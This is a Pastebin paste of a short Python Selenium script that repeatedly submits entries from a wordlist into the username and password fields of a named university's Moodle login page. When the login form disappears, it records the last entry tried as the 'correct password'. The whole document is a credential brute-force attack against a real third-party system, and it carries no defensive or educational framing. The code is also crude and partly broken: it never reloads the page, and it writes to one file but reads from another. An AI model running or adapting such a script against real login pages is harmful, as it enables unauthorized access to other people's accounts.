Advertisement
Guest User

Script2

a guest
Feb 6th, 2022
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. import selenium
  2. from selenium import webdriver
  3. from selenium.webdriver import chrome
  4. from selenium.webdriver.chrome.options import Options
  5. from selenium.common.exceptions import NoSuchElementException
  6.  
  7.  
  8.  
  9. driver = webdriver.Chrome()
  10. driver.get('https://online-learning.aau.ac.ae/moodle/login/index.php')
  11.  
  12.  
  13. with open('mainwordlist.txt','r', encoding ="UTF-8") as f:
  14. lines = f.readlines()
  15.  
  16. try:
  17. for line in lines:
  18. usernamebox = driver.find_element_by_xpath('//*[@id="username"]')
  19. usernamebox.send_keys (line)
  20.  
  21. passwordbox = driver.find_element_by_xpath('//*[@id="password"]')
  22. passwordbox.send_keys(line)
  23.  
  24. loginbutton = driver.find_element_by_xpath('//*[@id="loginbtn"]')
  25. loginbutton.click()
  26. correctpassword = line
  27.  
  28.  
  29.  
  30. except selenium.common.exceptions.NoSuchElementException:
  31.  
  32. f = open('pass.txt', 'w')
  33.  
  34. f.write(correctpassword)
  35.  
  36. f.close()
  37.  
  38. f = open('correctpassword.txt', 'r')
  39.  
  40. print(f.read())
  41.  
  42. exit()
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement